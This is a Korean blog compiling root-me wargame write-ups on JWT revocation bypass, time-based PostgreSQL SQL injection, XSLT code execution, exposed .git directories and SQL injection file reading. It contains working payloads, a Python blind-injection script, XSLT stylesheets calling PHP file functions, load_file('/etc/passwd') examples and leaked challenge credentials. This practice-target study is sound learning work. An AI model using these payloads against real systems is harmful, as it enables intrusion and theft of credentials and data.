반응형

Root-me에 추가된 문제 중에서 JWT 관련이고 25 포인트밖에 되지 않아서 쉽게 봤었는데 한동안 못 풀었던 문제였습니다..

 

JWT 토큰에 관련된 기본 사항들은 이전 포스트에 써놓았으니 참고하시길 바랍니다!

2019/12/20 - [Study/Wargame] - [root-me] JSON Web Token (JWT) - Introduction

 

[root-me] JSON Web Token (JWT) - Introduction

JSON Web Token(JWT) 관련 문제를 풀어보았습니다. 우선, JWT란 사용자와 서버간에 안전하고 신뢰할 수 있는 정보를 전달할 수 있는 토큰 값입니다. 주로, 회원 인증이나 안전하게 정보를 전달할 경우

ddungkill.tistory.com

 

Revoked Token 관련 문제를 우선 보면, 두 개의 접근 URL을 확인할 수 있습니다. 

1. POST 방식으로 접근하는 /web-serveur/ch63/login 부분과

2. GET 방식으로 접근하는 /web-serveur/ch63/admin 부분입니다.

 

먼저, GET 방식으로 요청되는 admin URL에 접근해보겠습니다.

위 스크린샷에서 보이듯이 Authorization Header 값이 필요합니다. 

 

Authorization값에 삽입되는 JWT 토큰 값을 획득하기 위해 POST 방식으로 요청되는 login URL에 접근해보겠습니다.

Json 형식으로 계정 아이디 값과 패스워드를 전송하라는 메시지가 출력됩니다. 친절하게 아이디와 패스워드까지 알려주었습니다.

 

JSON 형식으로 계정 정보를 전송하니! Access Token 즉 JWT 값이 출력되었습니다.

 

획득한 값을 admin URL 내 Authorization 헤더에 삽입하여 전송하였지만, 토큰이 Revoke(취소)되었다는 에러 메시지가 출력됩니다ㅠㅠ

 

문제 페이지 내에 있는 소스코드를 분석해보니, access_token 값의 유효 시간은 3분이고 해당 값을 발급하자마자 Black List로 보내버립니다. 즉, 저희는 유효하지만 발급되지 않은 JWT 토큰 값이 필요합니다.

 

이전 문제나, JWT Attack과 관련된 모든 방법을 다 써보았지만, 해결을 못하고 있었는데 Root-me에는 의견을 공유하는 게시판? 느낌의 메뉴가 있었습니다. 혹시나 해서 들어가 봤는데 역시나 저와 같은 문제로 인해 해결을 못한 사람들이 질문을 먼저 올려두었더라고요. 

 

해당 질문의 답변에서 유용한 정보를 얻을 수 있었습니다. RFC 4648이 도움이 될 것이라는 것을 말이죠.

 


RFC 4648

RFC 4648은 일반적으로 사용되는 BASE64/32/16 encoding scheme에 대한 내용이다. 이는 또 인코딩 된 데이터의 line-feed, padding, 비(非) 알파벳 문자, 다른 방식으로 인코딩 된 알파벳 등의 사용과 규범적인 인코딩에 대한 내용을 다루고 있다.

 

즉, 지정된 Base64의 포맷의 텍스트로 데이터를 반환하는 RFC의 표준입니다. 다른 형식을 찾아보면

RFC 번호 Text Encoding 지침
1421 최대 64의 행 길이 및 CRLF 라인 끝
2045 최대 76의 행 길이 및 CRLF 라인 끝
3548 줄바꿈이 추가되지 않음(구 버전)
4648 줄바꿈이 추가되지 않음(Default)
4880 최대 76의 행 길이, CRLF 라인 끝 및 추가된 24비트 CRC 값

등이 있습니다.


즉, 정확하게는 모르겠지만 BASE64 인코딩과 관련이 있다는 것을 예상할 수 있습니다.

 

JWT 값은 1. 헤더(Header), 2.정보(Payload), 3.서명(Signature) 가 각각 BASE64 형식으로 인코딩 됩니다.

이 경우 BASE64으로 인코딩 된 결과 값이 A이던, A=던, A==이던 서버는 크게 상관하지 않습니다. 즉 같은 값으로 인식된다는 거죠.

 

따라서, 이를 이용해 발급받은 JWT 값에 "="를 붙여서 보낸다면 서버는 발급하진 않았지만, 유효한 토큰 값(Black List에 없는)으로 인식해서

Flag 값을 획득할 수 있습니다.

 


※ 참고 자료

- https://www.ietf.org/rfc/rfc4648

- https://ko.wikipedia.org/wiki/%EB%B2%A0%EC%9D%B4%EC%8A%A464#RFC_4648

- https://cafe.naver.com/fmnc/148

반응형

'Study > Wargame' 카테고리의 다른 글

[root-me] SQL injection - Time based  (1) 2020.09.25
[root-me] XSLT - Code execution  (0) 2020.07.02
[root-me] Insecure Code Management  (0) 2020.04.07
[root-me] SQL Injection - File reading  (0) 2020.04.01
[root-me] SQL Injection - Routed  (0) 2020.03.20
반응형

Time based SQL Injection 관련 문제입니다. 관리자의 패스워드 데이터를 추출해내는 것이 목표입니다.


Time based(시간 기반) SQL Injection 공격은 Blind SQL Injection 공격의 한 유형입니다. SQL 쿼리 구문 삽입이 가능하지만 얻을 수 있는 정보가 제한될 때, SQL 구문이 참일 경우와 거짓일 경우 출력되는 결과 값을 차이를 이용해 Blind SQL injection 공격을 수행하고 있으나 이 마저도 확인할 수 없을 경우 Time based SQL Injection 공격이 사용됩니다.

 

아래는 시간 기반 SQL Injection 공격 시 사용되는 구문을 DBMS 별로 간략히 정리한 표입니다.

DB 종류 구문
MySQL select BENCHMARK(1000000, md5('a');  
select SLEEP(5);
Oracle select dbms_pipe.receive_message(('a'), 10) from dual;
MSSQL WAITFOR DELAY '0:0:5';
PostgreSQL select pg_sleep(10);
DB2, Ingres 등 use heavy queries to create a time delay

 


문제에 접속하게 되면 첫 번째 페이지에 로그인 창이 있고, [Member list] 탭이 존재합니다.

 

해당 [Member list] 탭 메뉴를 클릭해보면, DB에 저장되어 있는 멤버의 ID와 로그인 아이디 리스트가 출력됩니다.

저희는 관리자의 패스워드를 찾아야 하기 때문에 "admin" 링크를 클릭합니다.

 

"admin"을 클릭하였더니 URL 주소 내 GET Method로 action과 member 파라미터가 전송되고 있으며, 로그인이 필요하다는 에러 메시지가 나타납니다. 

 

Step 1. 취약성 판단

Time based SQL Injection 공격이 가능한지에 대한 여부를 판단하기 위해 SQL 구문을 삽입합니다.

SQL 구문이 참과 거짓일 때의 결과가 같아 Blind SQL Injection 공격이 불가능해 Time based SQL Injection 공격으로 진행하였고, DBMS 종류가 PostgreSQL이기 때문에 pg_sleep 함수를 사용하였습니다. 

참인 SQL 구문을 삽입한 경우 응답 시간이 조금 지연되어 2,292 milli seconds 임을 확인할 수 있고,

▶구문 : ;select+case+when+1=1+then+pg_sleep(5)+else+pg_sleep(0)+end--

 

SQL 구문이 거짓일 경우 바로 응답이 전송되어 288 milli seconds 임을 확인할 수 있습니다.

이러한 응답 시간 차이를 이용하여 데이터베이스 내 정보를 추출해보겠습니다.

▶구문 : ;select+case+when+1=2+then+pg_sleep(5)+else+pg_sleep(0)+end--

 

Step 2. 테이블명 파악

테이블 명을 추출해내기 위해 우선 길이를 알아보았습니다.

▶구문 : ;select+case+when+(select+length(table_name)+from+information.schema.tables+limit+1)=5+then+pg_sleep(5)+else+pg_sleep(0)+end--

위의 구문의 참이니까 테이블 명은 5 글자이며,

 

substr 함수를 사용하여 문자열을 잘라 한 글자씩 파악합니다.

▶구문 : ;select+case+when+substr((select+table_name+from+information.schema.tables+limit+1),1,1)=chr(117)+then+pg_sleep(5)+else+pg_sleep(0)+end--

위의 구문을 사용하여 테이블 명 "users"를 획득하였습니다.

 

Step 3. 컬럼명 파악

테이블 명을 획득했던 방법으로 이번엔 컬럼 명을 추출해냅니다.

▶구문 : ;select+case+when+(select+length(column_name)+from+information.schema.columns+limit+1+offset+5)=8+then+pg_sleep(5)+else+pg_sleep(0)+end--

위의 구문으로 컬럼명이 8자 임을 확인하였고,

 

▶구문 : ;select+case+when+substr((select+column_name+from+information.schema.columns+limit+1+offset+5),1,1)=chr(112)+then+pg_sleep(5)+else+pg_sleep(0)+end--

substr 함수를 이용해 컬럼 명이 "password"임을 확인하였습니다.

 

Step 4. 관리자 패스워드 파악

관리자의 패스워드를 파악하기 위한 테이블명과 컬럼명을 모드 획득하였기 때문에 해당 데이터 추출만 남았습니다.

 

▶구문 : ;select+case+when+(select+password+from+users+limit+1+offset+0)=13+then+pg_sleep(5)+else+pg_sleep(0)+end--

 

위의 쿼리문으로 관리자의 패스워드 길이가 13자임을 확인하였고,

나머지 데이터 추출을 위해 간단한 파이썬 코드를 작성하였습니다.

 

import httplib, urllib, time
import re

for y in range(1,14):	
	for x in range(33,127):
		headers = {'Accept':'text/html','cookie':'PHPSESSID=------------------'}

		conn = httplib.HTTPConnection("challenge01.root-me.org")
		conn.request("GET","/web-serveur/ch40/?action=member&member=1;select+case+when+substr((select+password+from+users+limit+1+offset+0),"+str(y)+",1)=chr("+str(x)+")+then+pg_sleep(5)+else+pg_sleep(0)+end--",'',headers)
		start=time.time()
		response = conn.getresponse()
		end=time.time()
	
		if end-start > 2 :
			print "count: ", y
			print "x : ", x
			break
conn.close()

위의 코드를 실행시키면 아래와 같은 결과 값을 획득할 수 있습니다.

 

위의 x에 해당하는 숫자를 아스키 코드 문자로 매칭 하면 관리자 패스워드(Flag) 값 획득에 성공합니다.

 


※ 참고 자료 ※

- https://m.blog.naver.com/PostView.nhn?blogId=ktw1332&logNo=220622021431&proxyReferer=https:%2F%2Fwww.google.com%2F

- https://www.onsecurity.co.uk/blog/pentesting-postgresql-with-sql-injections/

- http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet

- https://www.postgresqltutorial.com/postgresql-select/

- https://beaglesecurity.com/blog/vulnerability/time-based-blind-sql-injection.html

반응형

'Study > Wargame' 카테고리의 다른 글

[root-me] JWT - Revoked token  (2) 2020.12.29
[root-me] XSLT - Code execution  (0) 2020.07.02
[root-me] Insecure Code Management  (0) 2020.04.07
[root-me] SQL Injection - File reading  (0) 2020.04.01
[root-me] SQL Injection - Routed  (0) 2020.03.20
반응형

XSLT 관련 문제를 풀어보도록 하겠습니다. 취약한 부분을 찾아내서 서브 디렉토리에 존재하는 .passwd 파일을 읽는 것이 이 문제의 목적입니다. 처음 보는 용어였기 때문에 사전 조사부터 시작했습니다.


XSLT(Extensible Stylesheet Language Transformations) 취약점이란?

우선, XSL이란 XML 문서를 변환하기 위한 언어입니다. 따라서, XSLT란 XML 문서를 변환하는 자체를 의미하는데 변환 결과는 다른 XML 문서이거나 HTML 문서, CSV 파일 또는 일반 텍스트 파일과 같은 다른 형식의 파일일 수 있습니다.

 

그래서, XSLT 취약점은 XML 인젝션 취약점과 아주 유사하다고 할 수 있습니다. XSLT 원격 코드 실행 취약점의 예로는 .Net Ektron CMS에 영향을 주는 CVE-2012-5357, Apache Struts 2.0에 영향을 주는 CVE-2012-1592, Goole 검색 어플라이언스에 영향을 미치는 CVE-2005-3757 등이 있습니다.

 

자세한 사항은 우측의 링크를 이용 >> https://www.contextis.com/us/blog/xslt-server-side-injection-attacks


 

문제에 들어가면  Style을 선택하는 옵션 창과 [Change style!] 이라는 버튼이 보입니다. 임의의 스타일을 선택하고 눌러보겠습니다.

 

패킷을 확인해보면, xsl 파라미터에 "sytle1.xsl" 파일이 삽입되어 전송되고 있는 형태입니다.

 

해당 값이 전송되면 화면 상 결과는 위와 같이 출력되었습니다.

 

우선, 해당 부분이 취약한지 확인하기 위해 간단한 아래의 공격 코드를 작성해보았습니다.

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
XSLT Version : <xsl:value-of select="system-property('xsl:version')"/>
XSLT Vendor : <xsl:value-of select="system-property('xsl:vendor')"/>
XSLT Vendor URL : <xsl:value-of select="system-property('xsl:vendor-url')"/>
</xsl:template>
</xsl:stylesheet>

하지만, 위의 값을 xsl 파라미터에 바로 삽입하면 해당 코드가 실행되지 않았습니다.

"style1.xsl"과 같은 파일 형식으로 값을 넣어주어야겠다는 생각이 들어 개인 서버를 오픈한 후 해당 코드를 저장하였습니다.

 

개인 서버에 test1.xsl 파일로 위의 코드를 작성하여 저장 후,

 

xsl 파라미터에 "개인 서버 주소/test1.xls" 형식으로 삽입하였더니 XSLT 정보(라이브러리 공급업체)가 조회되어 공격 코드가 실행된 것을 확인할 수 있었습니다.

 

이제 본격적으로 문제에서 필요한 정보를 획득해보도록 하겠습니다.

현재 디렉토리에 존재하는 하위 디렉토리, 즉 서브 디렉토리를 확인하기 위해 php 함수를 이용하여 공격 코드를 작성하였습니다.

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','.')"/> 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
</xsl:template></xsl:stylesheet>

 

이를 또 개인 서버의 test2.xls 파일로 저장한 후,

 

공격 코드를 실행하면, 위와 같이 현재 디렉토리에 존재하는 모든 파일과 하위 디렉토리 이름을 확인할 수 있습니다.

 

마지막으로, 서브 디렉토리에 존재하고 있는 .passwd 파일을 찾아 읽기만 하면 됩니다.

위에서 보면, ._firewall, .6ff~로 시작하는 두 개의 서브 디렉토리를 확인할 수 있는데요, .passwd 파일은 .6ff~ 디렉토리에 존재하고 있었습니다.

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','.6ff3200bee785801f420fba826ffcdee/.passwd')"/>
</xsl:template>
</xsl:stylesheet>

따라서, .6ff~ 디렉토리 하위에 있는 .passwd 파일을 읽어오는 명령어를 작성한 코드를 test3.xls 파일에 저장한 후,

 

실행하면 Flag 값을 획득할 수 있습니다.^^

 


※ 참고 자료

- https://www.contextis.com/us/blog/xslt-server-side-injection-attacks

- https://comsecuodj.tistory.com/31

- http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20XSLT%20Processing%20Security%20and%20Server%20Side%20Request%20Forgeries%20-%20OWASP%20Switzerland%20Meeting%202015.pdf

- https://book.hacktricks.xyz/pentesting-web/xslt-server-side-injection-extensible-stylesheet-languaje-transformations

반응형

'Study > Wargame' 카테고리의 다른 글

[root-me] JWT - Revoked token  (2) 2020.12.29
[root-me] SQL injection - Time based  (1) 2020.09.25
[root-me] Insecure Code Management  (0) 2020.04.07
[root-me] SQL Injection - File reading  (0) 2020.04.01
[root-me] SQL Injection - Routed  (0) 2020.03.20
반응형

Insecure Code Management 관련 문제입니다. 

문제 제목이나 설명만보고 감이 안 와서 참고 문서? 관련 문서란을 보니 git 관련 문제인 것 같습니다.

 

Git 이란?

소스코드 관리를 위한 분산 버전 관리 시스템입니다. 즉, 여러 명의 개발자가 하나의 프로젝트를 개발할 경우, 소스코드를 효과적으로 관리(버전 관리, 백업 등)할 수 있게 하는 무료, 공개적 시스템입니다.

 

이 문제는 소스 코드 관리를 위해 git을 사용하고 있다 정도로만 이해하고 일단 문제에 접속해보았습니다.

HR Database에 접속하기 위한 로그인 폼이 존재합니다. 로그인 폼만 보면 가장 먼저하는 일은 [admin/admin] 같은 유추 가능한 계정으로 접근 시도해보는 것 아닐까요?ㅋㅋㅋ(저 같은 경우는 그렇습니다...ㅠ) 로그인해보았습니다.

 

Unknown user or password라는 에러 메시지만 출력되고 아무런 정보를 던져주지 않았습니다.

 

그렇다면, 이 문제를 어떻게 풀어야 할까 고민하다가 구글링 해본 결과! Git을 사용할 경우 git 디렉토리에 대한 접근 권한 여부를 설정하지 않아 내부 자원 유출 가능한 취약점이 존재한다는 사실을 발견하였습니다. (자세한 사항은 아래 링크)

>> https://medium.com/swlh/hacking-git-directories-e0e60fa79a36 

 

개발자가 Git을 사용할 경우, 프로젝트 파일의 커밋 이력을 포함한 모든 버전의 제어 정보가 Git 디렉토리

[www.test.com/.git]에 보관되어 있습니다. 보통의 경우 일반 사용자가 해당 디렉토리에 접근 불가능해야하지만 접근 제어가 제대로 되어 있지 않은 경우, .git 디렉토리 엑세스 및 정보 유출이 가능합니다.

 

그래서, 이번 문제 접속 후, Git 디렉토리에 접근 시도해보았습니다.

위 스크린샷과 같이 별도의 인증 과정 없이 Git 디렉토리에 접근 가능하며, 정보를 획득할 수 있습니다.

(www.challenge01.root-me.org/web-serveur/ch61/.git)

 

Git 디렉토리 내 소스코드의 재구성을 위해 우선, wget 명령어를 사용해 디렉토리의 내용을 대량 다운로드합니다.

명령어 : wget -r http://www.challenge01.root-me.org/web-serveur/ch61/.git/  

 

wget 명령어를 사용해 Git 디렉토리를 다운받으면, 위 사진과 같이 도메인 폴더가 자동으로 생성되어 있습니다.

 

웹 루트 폴더까지 타고 들어가 보았지만, index.html 파일만 있고 소스코드(index.php) 파일은 보이지 않네요.

 

Git 개체는 SHA1 해시의 처음 두 문자에 따라 /objects 디렉토리 하위에 저장됩니다.

예를 들어, 0a082f2656a655c8b0a87956c7bcdc93dfda23f8 해시를 가진 개체는 디렉토리 .git/objects/0a에082f2656a655c8b0a87956c7bcdc93dfda23f8의 이름으로 저장되고 있습니다.

 

.git/objects에는 다양한 유형의 개체, commit, a tree, a blob, an annotated tag 등이 저장되며 아래의 명령어를 사용해 객체의 유형을 결정할 수 있습니다.

> git cat-file -t OBJECT-HASH

 

  • Commit 객체에는 commit의 디렉토리 트리 개체 해시, 부모 commit, 작성자, 날짜 및 메시지 정보를 저장
  • Tree 객체에는 commit에 대한 디렉토리 목록
  • Blob 객체에는 commit된 파일의 사본(실제 소스 코드)
  • Tag 객체에는 태그가 지정된 객체와 관련 태그 이름에 대한 정보

> cat .git/HEAD

ref: refs/heads/master

> cat .git/refs/heads/master // commit의 디렉토리 트리를 저장하는 해시를 가리킴

c0b4661c888bd1ca0f12a3c080e4d2597382277b 

> git cat-file -t c0b4661c888bd1ca0f12a3c080e4d2597382277b

commit

> git cat-file -p c0b4661c888bd1ca0f12a3c080e4d2597382277b

tree 94650eae3cb2615762a29ec073c53198adffd3c2 // tree object

> git cat-file -p 94650eae3cb2615762a29ec073c53198adffd3c2

blob 2e620c143ab6557a8dacb6a0c284d28c718d6a38 index.php

blob 663fe35facfd983a948d221c769438f230eb18ef config.php

 

94650eae3cb2615762a29ec073c53198adffd3c2에 저장된 tree object을 오픈할 경우!! 실제 소스 코드인 index.php와 config.php 파일 확인이 가능합니다.

 

다시 index.php에 해당하는 blob 객체를 오픈하면 index.php 소스코드가 출력되고 있습니다. (정보 유출 성공!)

> git cat-file -p 2e620c143ab6557a8dacb6a0c284d28c718d6a38

 

index.php 소스코드 내에서는 패스워드를 입력받아 sha256으로 해시한 값과 config.php 파일 내 password 값을 비교하고 있습니다.

 

config.php에 해당하는 blob 객체를 열면 config.php 소스코드가 출력됩니다.

$password 값 0c25a741349bfdcc1e579c8cd4a931fca66bdb49b9f042c4d92ae1bfa3176d8c를 획득하였습니다.

 

해당 값이 sha256 해쉬로 암호화되어 있음이 확인 가능하니, 아래의 온라인 sha256 복호화 사이트를 이용하였습니다.

>> https://md5hashing.net/hash/sha256

(일부 sha256 복호화 사이트에서는 해당 값이 복호화되지 않는 경우 발생)

 

획득한 해쉬값을 입력하면 평문의 Admin 패스워드가 출력되고 있고, 이 값이 Flag 값입니다.^^

 


※ 참고 자료

- https://medium.com/@psychet_learn/git-%EC%82%AC%EC%9A%A9%EB%B2%95-1%EA%B0%95-git%EC%9D%B4%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B0%80-340438d9a69f

- https://medium.com/swlh/hacking-git-directories-e0e60fa79a36

 

반응형

'Study > Wargame' 카테고리의 다른 글

[root-me] SQL injection - Time based  (1) 2020.09.25
[root-me] XSLT - Code execution  (0) 2020.07.02
[root-me] SQL Injection - File reading  (0) 2020.04.01
[root-me] SQL Injection - Routed  (0) 2020.03.20
[root-me] SQL injection - Error  (0) 2020.03.12
반응형

File read 관련 SQL Injection 문제를 풀어보도록 하겠습니다.

 

문제에 들어가 보니 [Authentication]과 [Members] 두 개의 메뉴가 존재하고, [Authentication] 메뉴에는 로그인 폼이 있습니다. 로그인을 시도해보았지만 SQL Injection 포인트는 아닌 것 같아 보입니다.

 

이번에는 [Members] 메뉴를 클릭해 보았습니다. "admin" 계정이 보입니다. 클릭합니다.

 

"admin"을 클릭하면 URL 상에 GET 메소드로 action과 id 파라미터가 전송되는 것을 볼 수 있습니다.

 

id 파라미터는 1이라는 값을 전송하고 있습니다. admin 계정의 id 값으로 보입니다.

SQL Injection 취약 판단을 위해 우선 참 값의 SQL 구문을 전송해보았습니다.

id=1+and+1=1--(참) 쿼리 구문을 전송할 경우 정상적으로 admin 계정의 정보가 출력되고 있습니다.

 

이번에는 거짓 값의 SQL 구문을 전송합니다.

id=1+and+1=2--(거짓) 쿼리 구문을 전송할 경우 결과 값이 없다는 에러가 출력됩니다.

 

SQL 쿼리 구문이 참일 경우와 거짓일 경우에 따라 결과 값이 상이하기 때문에 SQL Injection 포인트라고 판단하였습니다.

 

SQL Injection 포인트를 찾았으니, 본격적으로 정보를 수집해서 관리자의 패스워드를 획득해보도록 하겠습니다.

Step 1. 필드 수 파악

필드 수는 order by 구문을 이용해 판단 가능합니다. 

id=1+order+by+4# 쿼리 문을 삽입하였을 때는 정상 값이 출력되지만, id=1+order+by+5# 쿼리 문을 삽입할 경우엔 에러가 출력되는 점을 이용해 필드 수는 4개라는 정보를 알 수 있습니다.

 

Step2. 데이터베이스 정보 수집(생략 가능)

필드 수가 4개라는 정보를 확인하였으니 union all select 구문을 이용해 DB 정보를 획득해보도록 하겠습니다.

id=1+and+1=2+1+and+1=2+union+all+select+1,2,3,concat(version(),user(),database())-- 쿼리문을 사용하여 각각 버전 정보, 유저명, 데이터베이스 명을 확인 가능합니다.

 

Step3. 테이블명 파악

id=1+and+1=2+union+all+select+1,2,3,table_name+from+information_schema.tables+where+table_type='base table'-- 쿼리문을 사용하여 테이블 명을 획득합니다. 테이블 명은 "member" 입니다.

 

※ 쿼리 문에 싱글 쿼터(')를 삽입할 경우 SQL 구문 에러가 발생하기 때문에 base table을 Ascii Hex 값으로 인코딩하여 삽입하는 방법으로 해당 에러를 해결하였습니다.

 

Step 4. 컬럼명 파악

id=1+and+1=2+union+all+select+1,2,3,group_concat(column_name)+from+information_schema.columns+where+table_name='member'-- 쿼리문을 사용하여 컬럼 명을 획득합니다. 컬럼은 각각 "member_id", "member_login", "member_password", "member_email"로 총 4개입니다.

 

관리자의 패스워드를 획득하는 것이 목표이기 때문에 member_password 컬럼을 사용하면 될 것 같습니다.

 

Step5. 데이터 파악

id=1+and+1=2+union+all+select+1,2,3,member_password+from+member-- 쿼리문을 사용하여 관리자의 패스워드를 획득합니다. 어차피 데이터(레코드)가 한 개뿐이므로 출력되는 값이 관리자 패스워드입니다.  

 

왠지 BASE64로 인코딩 된 값인 것 같아 디코딩해보았지만, 값이 깨져서 알 수가 없습니다..ㅠ

 

문제의 취지에 맞게 파일을 읽는 SQL Injection 공격을 시도해보았습니다.

load_file 함수를 이용해 시스템 자원을 다운로드 및 읽을 수 있습니다. 

사용법 : select load_file([절대경로]); // 파일 접근 권한 필요

 EX) - union select null, load_file('/etc/passwd')

      - union select null, load_file(0x2f6574632f706173737764) // HEX Encoding

      - union select null, load_file(char(47,101,116,99,47,112,97,115,115,119,100)) // char 함수

 

id=1+and+1=2+union+all+select+1,2,3,load_file('/challenge/web-serveur/ch31/index.php')-- 쿼리문을 사용하여 index.php 파일을 불러옵니다. 해당 php 파일 내에 패스워드는 sha1 해쉬로 암호화되어 있으며, key 값과 base64 함수를 이용해 다시 인코딩하고 있습니다.

 

아래는 index.php 전문입니다.

 

<?php

define('SQL_HOST',      ':/var/run/mysqld/mysqld3-web-serveur-ch31.sock');
define('SQL_DB',        'c_webserveur_31');
define('SQL_LOGIN',     'c_webserveur_31');
define('SQL_P',         'dOJLsrbyas3ZdrNqnhx');


function stringxor($o1, $o2) {
    $res = '';
    for($i=0;$i<strlen($o1);$i++)
        $res .= chr(ord($o1[$i]) ^ ord($o2[$i]));        
    return $res;
}

$key = "c92fcd618967933ac463feb85ba00d5a7ae52842";
 

mysql_connect(SQL_HOST, SQL_LOGIN, SQL_P) or exit('MySQL connection error !');
mysql_select_db(SQL_DB) or die("Database selection error !");

if ( ! isset($_GET['action']) ) $_GET['action']="login";

if($_GET['action'] == "login"){
        print '<form METHOD="POST">
                <p><label style="display:inline-block;width:100px;">Login : </label><input type="text" name="username" /></p>
                <p><label style="display:inline-block;width:100px;">Password : </label><input type="password" name="password" /></p>
                <p><input value=submit type=submit /></p>
                </form>';

	if(isset($_POST['username'], $_POST['password']) && !empty($_POST['username']) && !empty($_POST['password']))
	{
		$user = mysql_real_escape_string(strtolower($_POST['username']));
		$pass = sha1($_POST['password']);
		
		$result = mysql_query("SELECT member_password FROM member WHERE member_login='".$user."'");
		if(mysql_num_rows($result) == 1)
		{
			$data = mysql_fetch_array($result);
			if($pass == stringxor($key, base64_decode($data['member_password']))){
                                // authentication success
                                print "<p>Authentication success !!</p>";
                                if ($user == "admin")
                                    print "<p>Yeah !!! You're admin ! Use this password to complete this challenge.</p>";
                                else 
                                    print "<p>But... you're not admin !</p>";
			}
			else{
                                // authentication failed
				print "<p>Authentication failed !</p>";
			}
		}
		else{
			print "<p>User not found !</p>";
		}
	}
}

if($_GET['action'] == "members"){
	if(isset($_GET['id']) && !empty($_GET['id']))
	{
                // secure ID variable
		$id = mysql_real_escape_string($_GET['id']);
		$result = mysql_query("SELECT * FROM member WHERE member_id=$id") or die(mysql_error());
		
		if(mysql_num_rows($result) == 1)
		{
			$data = mysql_fetch_array($result);
			print "ID : ".$data["member_id"]."<br />";
			print "Username : ".$data["member_login"]."<br />";
			print "Email : ".$data["member_email"]."<br />";	
		}
                else{
                        print "no result found";
                }
	}
	else{
		$result = mysql_query("SELECT * FROM member");
		while ($row = mysql_fetch_assoc($result)) {
			print "<p><a href=\"?action=members&id=".$row['member_id']."\">".$row['member_login']."</a></p>";
		}
	}
}

?>

 

참고로, /challenge/web-serveur/ch31/이 웹 루트인 것은... 무작위로 대입해보았습니다...ㅠ 다른 분들은 어떻게 파악했는지 궁금합니다...!

 

index.php 파일에 존재하는 함수와 획득한 관리자 패스워드 값을 이용하여 sha1 해쉬로 암호화되어 있는 실제 패스워드를 얻을 수 있었습니다.

>> https://rextester.com/l/php_online_compiler // php 코드 온라인 컴파일러 이용

 

>> https://hashtoolkit.com/decrypt-sha1-hash/ // 온라인 sha1 복호화 사이트

획득한 sha1 값을 복호화하였더니 관리자의 plain 패스워드를 확인할 수 있습니다.

복호화된 값이 Flag 값입니다^^

 


※ 참고 자료

- https://medium.com/bugbountywriteup/sql-injection-with-load-file-and-into-outfile-c62f7d92c4e2

- https://m.blog.naver.com/koromoon/220151062561

 

반응형

'Study > Wargame' 카테고리의 다른 글

[root-me] XSLT - Code execution  (0) 2020.07.02
[root-me] Insecure Code Management  (0) 2020.04.07
[root-me] SQL Injection - Routed  (0) 2020.03.20
[root-me] SQL injection - Error  (0) 2020.03.12
[root-me] JSON Web Token (JWT) - Weak secret  (0) 2020.03.06
반응형

Routed SQL Injection 문제입니다.

 

문제를 풀기 전, Routed SQL Injection이 무엇인지, 어떻게 발생하는지에 대해 조사해보았습니다.

위는 Routed SQL Injection이 발생하는 취약한 코드입니다.

현재 코드는 첫 번째 쿼리의 결과 값이 두 번째 쿼리의 입력 값으로 사용되고 있습니다.

SQL Injection을 발생 시키려면, sec_code(첫 번째 쿼리의 출력)인 두 번째 쿼리에 대한 입력을 제어할 수 있어야 합니다.

 

즉, 첫 번째 쿼리에서 SQL Injection이 발생하고, 이의 영향이 두 번째 쿼리에 미쳐 두번째 쿼리에서도 SQL Injection이 발생하는 경우Routed SQL Injection이라고 칭합니다.

 

문제를 풀어보도록 하겠습니다. 문제에 접속하면 첫 페이지에 로그인 창이 뜹니다.

그냥 [admin/admin]으로 로그인 시도해보았습니다.

 

그냥 "Wrong login/password"라는 오류 메시지만 출력됩니다. 

[Search] 탭을 클릭해봅니다.

 

[Search] 메뉴에서는 데이터베이스에 있는 계정을 검색할 수 있습니다.

admin을 검색했더니 ID는 3, email이 admin@sqli_me.com이라는 정보를 출력해주네요.

 

취약한 부분인지 판단하기 위해 싱글 쿼터(')를 삽입해보았습니다.

Syntax 에러가 발생하면서 에러 메시지가 출력되고 있습니다.

 

SQL Injection 할 경우 주로 사용되는 or, and 문자가 필터링되고 있어 Attack Detected 에러가 출력되고 있습니다.

그 대안으로 union select 구문을 이용해보았습니다.

 

'union select 1--+- 쿼리를 입력할 경우, 두 번째 쿼리 값을 1로 설정하고 있어, 두 번째 쿼리가 성공적으로 실행되어 결과 값 1에 대한 결과가 출력되고 있습니다. 첫 번째 값은 jean입니다.

 

'union select 2--+- 쿼리를 입력할 경우, 두 번째 쿼리 값을 2로 설정하고 있고, 값 2에 대한 결과가 출력되고 있습니다. 두 번째 값은 michel입니다.

 

'union select 3--+- 쿼리를 입력할 경우, 역시나 두 번째 쿼리 값을 3으로 설정하고 있고, 값 3에 대한 결과가 출력되고 있습니다. 세 번째 값은 admin입니다. (우리는 admin의 패스워드를 찾아야 합니다.)

 

'union select 3--+- 쿼리를 입력할 경우, 빈 데이터가 출력되었습니다. 세 개의 데이터를 가지고 있음을 확인할 수 있겠죠.

 

이제는 관리자(admin)의 패스워드를 찾기 위한 사전 정보를 수집해보겠습니다.

Step 1. 필드 수 파악

필드 수를 확인하기 위해 order by 구문을 사용하였습니다. 두 번째 쿼리에 'order by 1-- - 값을 넣을 때, 서버에 존재하는 문자열 필터링을 우회하기 위해 Ascii Hex 인코딩을 하였습니다.

 

'union select 0x276f7264657220627920312d2d202d--+- 쿼리를 입력할 경우, 빈 데이터가 출력됩니다.

 

